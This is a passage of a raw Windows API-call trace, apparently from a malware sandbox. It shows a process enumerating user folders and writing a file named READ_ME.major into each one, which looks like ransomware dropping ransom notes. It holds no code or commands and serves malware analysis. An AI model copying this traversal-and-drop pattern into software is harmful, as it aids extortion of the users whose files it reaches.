lpMem=0x5c7330 | out: hHeap=0x570000) returned 1 [0144.733] GetLastError () returned 0x12 [0144.733] SetLastError (dwErrCode=0x12) [0144.733] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bee70 [0144.733] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc878 [0144.733] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5beec8 [0144.733] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d430 [0144.733] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d250 [0144.733] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c72e8 [0144.733] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7278 [0144.733] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c72e8 | out: hHeap=0x570000) returned 1 [0144.733] GetLastError () returned 0x12 [0144.733] SetLastError (dwErrCode=0x12) [0144.733] GetLastError () returned 0x12 [0144.733] SetLastError (dwErrCode=0x12) [0144.733] GetLastError () returned 0x12 [0144.733] SetLastError (dwErrCode=0x12) [0144.733] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdcb8 [0144.733] CreateFileW (lpFileName="\\Users\\Default.migrated\\AppData\\Local\\READ_ME.major" (normalized: "c:\\users\\default.migrated\\appdata\\local\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5d4 [0144.734] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdcb8 | out: hHeap=0x570000) returned 1 [0144.734] WriteFile (in: hFile=0x5d4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0144.735] CloseHandle (hObject=0x5d4) returned 1 [0144.735] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7278 | out: hHeap=0x570000) returned 1 [0144.735] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d250 | out: hHeap=0x570000) returned 1 [0144.735] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d430 | out: hHeap=0x570000) returned 1 [0144.735] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5beec8 | out: hHeap=0x570000) returned 1 [0144.735] FindNextFileW (in: hFindFile=0x60ef28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1525e1c9, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x1525e1c9, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x1525e1c9, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0144.735] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0144.735] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7018 [0144.735] GetLastError () returned 0x0 [0144.735] SetLastError (dwErrCode=0x0) [0144.735] GetLastError () returned 0x0 [0144.735] SetLastError (dwErrCode=0x0) [0144.735] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6ca0 [0144.735] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7018 | out: hHeap=0x570000) returned 1 [0144.735] GetLastError () returned 0x0 [0144.735] SetLastError (dwErrCode=0x0) [0144.735] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc9e0 [0144.735] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc9e0 | out: hHeap=0x570000) returned 1 [0144.735] FindNextFileW (in: hFindFile=0x60ef28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1525e1c9, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x1525e1c9, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x1525e1c9, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0144.736] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bf028 [0144.736] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bedc0 | out: hHeap=0x570000) returned 1 [0144.736] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0144.736] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cca30 | out: hHeap=0x570000) returned 1 [0144.736] FindFirstFileW (in: lpFileName="\\Users\\Default.migrated\\Documents\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc4204fb0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1525e1c9, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x60efa8 [0144.736] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6ca0 | out: hHeap=0x570000) returned 1 [0144.736] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7690 [0144.736] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6b08 [0144.736] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7690 | out: hHeap=0x570000) returned 1 [0144.736] GetLastError () returned 0x12 [0144.736] SetLastError (dwErrCode=0x12) [0144.736] GetLastError () returned 0x12 [0144.736] SetLastError (dwErrCode=0x12) [0144.736] GetLastError () returned 0x12 [0144.736] SetLastError (dwErrCode=0x12) [0144.736] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ed28 [0144.736] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5befd0 [0144.736] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0144.736] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc828 [0144.736] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x60efe8 [0144.736] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60efe8 | out: hHeap=0x570000) returned 1 [0144.736] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40408 [0144.736] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40408 | out: hHeap=0x570000) returned 1 [0144.736] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc828 | out: hHeap=0x570000) returned 1 [0144.736] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ed28 | out: hHeap=0x570000) returned 1 [0144.736] FindNextFileW (in: hFindFile=0x60efa8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc4204fb0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1525e1c9, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0144.736] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6b08 | out: hHeap=0x570000) returned 1 [0144.737] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c6fd0 [0144.737] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6fd0 [0144.737] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c6fd0 | out: hHeap=0x570000) returned 1 [0144.737] GetLastError () returned 0x12 [0144.737] SetLastError (dwErrCode=0x12) [0144.737] GetLastError () returned 0x12 [0144.737] SetLastError (dwErrCode=0x12) [0144.737] GetLastError () returned 0x12 [0144.737] SetLastError (dwErrCode=0x12) [0144.737] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58eeb0 [0144.737] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5beec8 [0144.737] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5beec8 | out: hHeap=0x570000) returned 1 [0144.737] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccbe8 [0144.737] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x60eaa8 [0144.737] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60eaa8 | out: hHeap=0x570000) returned 1 [0144.737] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40438 [0144.737] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40438 | out: hHeap=0x570000) returned 1 [0144.737] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccbe8 | out: hHeap=0x570000) returned 1 [0144.737] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58eeb0 | out: hHeap=0x570000) returned 1 [0144.737] FindNextFileW (in: hFindFile=0x60efa8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0xe99a3d0f, ftCreationTime.dwHighDateTime=0x1d32708, ftLastAccessTime.dwLowDateTime=0xe99a3d0f, ftLastAccessTime.dwHighDateTime=0x1d32708, ftLastWriteTime.dwLowDateTime=0xe99a3d0f, ftLastWriteTime.dwHighDateTime=0x1d32708, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1 [0144.737] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6fd0 | out: hHeap=0x570000) returned 1 [0144.737] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7498 [0144.737] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0144.737] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7498 | out: hHeap=0x570000) returned 1 [0144.737] GetLastError () returned 0x12 [0144.737] SetLastError (dwErrCode=0x12) [0144.737] GetLastError () returned 0x12 [0144.737] SetLastError (dwErrCode=0x12) [0144.737] GetLastError () returned 0x12 [0144.737] SetLastError (dwErrCode=0x12) [0144.737] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc828 [0144.737] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccbe8 [0144.738] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc828 | out: hHeap=0x570000) returned 1 [0144.738] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccbe8 | out: hHeap=0x570000) returned 1 [0144.738] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b68b0 [0144.738] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc9e0 [0144.738] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6918 [0144.738] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d430 [0144.738] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d1c0 [0144.738] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7498 [0144.738] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7960 [0144.738] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7498 | out: hHeap=0x570000) returned 1 [0144.738] GetLastError () returned 0x12 [0144.738] SetLastError (dwErrCode=0x12) [0144.738] GetLastError () returned 0x12 [0144.738] SetLastError (dwErrCode=0x12) [0144.738] GetLastError () returned 0x12 [0144.738] SetLastError (dwErrCode=0x12) [0144.738] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b70e0 [0144.738] CreateFileW (lpFileName="\\Users\\Default.migrated\\Documents\\My Music\\READ_ME.major" (normalized: "c:\\users\\default.migrated\\documents\\my music\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5d8 [0144.778] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b70e0 | out: hHeap=0x570000) returned 1 [0144.778] WriteFile (in: hFile=0x5d8, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0144.779] CloseHandle (hObject=0x5d8) returned 1 [0144.779] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7960 | out: hHeap=0x570000) returned 1 [0144.779] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d1c0 | out: hHeap=0x570000) returned 1 [0144.779] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d430 | out: hHeap=0x570000) returned 1 [0144.779] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6918 | out: hHeap=0x570000) returned 1 [0144.779] FindNextFileW (in: hFindFile=0x60efa8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0xe99c9f63, ftCreationTime.dwHighDateTime=0x1d32708, ftLastAccessTime.dwLowDateTime=0xe99c9f63, ftLastAccessTime.dwHighDateTime=0x1d32708, ftLastWriteTime.dwLowDateTime=0xe99c9f63, ftLastWriteTime.dwHighDateTime=0x1d32708, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0144.779] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0144.779] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c71c8 [0144.779] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b70e0 [0144.779] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c71c8 | out: hHeap=0x570000) returned 1 [0144.780] GetLastError () returned 0x0 [0144.780] SetLastError (dwErrCode=0x0) [0144.780] GetLastError () returned 0x0 [0144.780] SetLastError (dwErrCode=0x0) [0144.780] GetLastError () returned 0x0 [0144.780] SetLastError (dwErrCode=0x0) [0144.780] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cca08 [0144.780] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc8c8 [0144.780] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cca08 | out: hHeap=0x570000) returned 1 [0144.780] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc8c8 | out: hHeap=0x570000) returned 1 [0144.780] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6778 [0144.780] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cca08 [0144.780] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6918 [0144.780] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d430 [0144.780] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d340 [0144.780] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c6fd0 [0144.780] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7168 [0144.780] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c6fd0 | out: hHeap=0x570000) returned 1 [0144.780] GetLastError () returned 0x0 [0144.780] SetLastError (dwErrCode=0x0) [0144.780] GetLastError () returned 0x0 [0144.780] SetLastError (dwErrCode=0x0) [0144.780] GetLastError () returned 0x0 [0144.780] SetLastError (dwErrCode=0x0) [0144.780] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0144.780] CreateFileW (lpFileName="\\Users\\Default.migrated\\Documents\\My Pictures\\READ_ME.major" (normalized: "c:\\users\\default.migrated\\documents\\my pictures\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5d8 [0144.781] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0144.782] WriteFile (in: hFile=0x5d8, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0144.782] CloseHandle (hObject=0x5d8) returned 1 [0144.783] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7168 | out: hHeap=0x570000) returned 1 [0144.783] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d340 | out: hHeap=0x570000) returned 1 [0144.783] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d430 | out: hHeap=0x570000) returned 1 [0144.783] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6918 | out: hHeap=0x570000) returned 1 [0144.783] FindNextFileW (in: hFindFile=0x60efa8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0xe99c9f63, ftCreationTime.dwHighDateTime=0x1d32708, ftLastAccessTime.dwLowDateTime=0xe99c9f63, ftLastAccessTime.dwHighDateTime=0x1d32708, ftLastWriteTime.dwLowDateTime=0xe99c9f63, ftLastWriteTime.dwHighDateTime=0x1d32708, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0144.783] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b70e0 | out: hHeap=0x570000) returned 1 [0144.783] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c71c8 [0144.783] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6f48 [0144.783] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c71c8 | out: hHeap=0x570000) returned 1 [0144.783] GetLastError () returned 0x0 [0144.783] SetLastError (dwErrCode=0x0) [0144.783] GetLastError () returned 0x0 [0144.783] SetLastError (dwErrCode=0x0) [0144.783] GetLastError () returned 0x0 [0144.783] SetLastError (dwErrCode=0x0) [0144.783] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc850 [0144.783] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc8c8 [0144.783] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc850 | out: hHeap=0x570000) returned 1 [0144.783] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc8c8 | out: hHeap=0x570000) returned 1 [0144.783] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6508 [0144.783] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cca30 [0144.783] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6710 [0144.783] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d430 [0144.783] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d350 [0144.783] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7840 [0144.783] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7498 [0144.783] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7840 | out: hHeap=0x570000) returned 1 [0144.783] GetLastError () returned 0x0 [0144.783] SetLastError (dwErrCode=0x0) [0144.783] GetLastError () returned 0x0 [0144.784] SetLastError (dwErrCode=0x0) [0144.784] GetLastError () returned 0x0 [0144.784] SetLastError (dwErrCode=0x0) [0144.784] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0144.784] CreateFileW (lpFileName="\\Users\\Default.migrated\\Documents\\My Videos\\READ_ME.major" (normalized: "c:\\users\\default.migrated\\documents\\my videos\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5d8 [0144.784] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0144.784] WriteFile (in: hFile=0x5d8, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0144.785] CloseHandle (hObject=0x5d8) returned 1 [0144.785] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7498 | out: hHeap=0x570000) returned 1 [0144.785] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d350 | out: hHeap=0x570000) returned 1 [0144.785] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d430 | out: hHeap=0x570000) returned 1 [0144.785] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6710 | out: hHeap=0x570000) returned 1 [0144.785] FindNextFileW (in: hFindFile=0x60efa8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1525e1c9, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x1525e1c9, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x1525e1c9, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0144.785] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6f48 | out: hHeap=0x570000) returned 1 [0144.785] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c72e8 [0144.785] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b70e0 [0144.785] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c72e8 | out: hHeap=0x570000) returned 1 [0144.785] GetLastError () returned 0x0 [0144.785] SetLastError (dwErrCode=0x0) [0144.785] GetLastError () returned 0x0 [0144.785] SetLastError (dwErrCode=0x0) [0144.785] GetLastError () returned 0x0 [0144.785] SetLastError (dwErrCode=0x0) [0144.785] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccc60 [0144.785] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccc60 | out: hHeap=0x570000) returned 1 [0144.786] FindNextFileW (in: hFindFile=0x60efa8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1525e1c9, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x1525e1c9, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x1525e1c9, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0144.786] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ea50 [0144.786] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf028 | out: hHeap=0x570000) returned 1 [0144.786] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ec10 | out: hHeap=0x570000) returned 1 [0144.786] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cccd8 | out: hHeap=0x570000) returned 1 [0144.786] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x3b5a0677, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x152842a1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x60f068 [0144.786] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b70e0 | out: hHeap=0x570000) returned 1 [0144.786] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7018 [0144.786] GetLastError () returned 0x12 [0144.786] SetLastError (dwErrCode=0x12) [0144.786] GetLastError () returned 0x12 [0144.786] SetLastError (dwErrCode=0x12) [0144.786] GetLastError () returned 0x12 [0144.786] SetLastError (dwErrCode=0x12) [0144.786] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58eeb0 [0144.786] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bed10 [0144.786] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0144.786] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc850 [0144.786] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x60efe8 [0144.786] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60efe8 | out: hHeap=0x570000) returned 1 [0144.786] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40480 [0144.786] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40480 | out: hHeap=0x570000) returned 1 [0144.786] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc850 | out: hHeap=0x570000) returned 1 [0144.786] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58eeb0 | out: hHeap=0x570000) returned 1 [0144.786] FindNextFileW (in: hFindFile=0x60f068, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x3b5a0677, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x152842a1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0144.786] HeapFree (in: hHeap=0x570000, 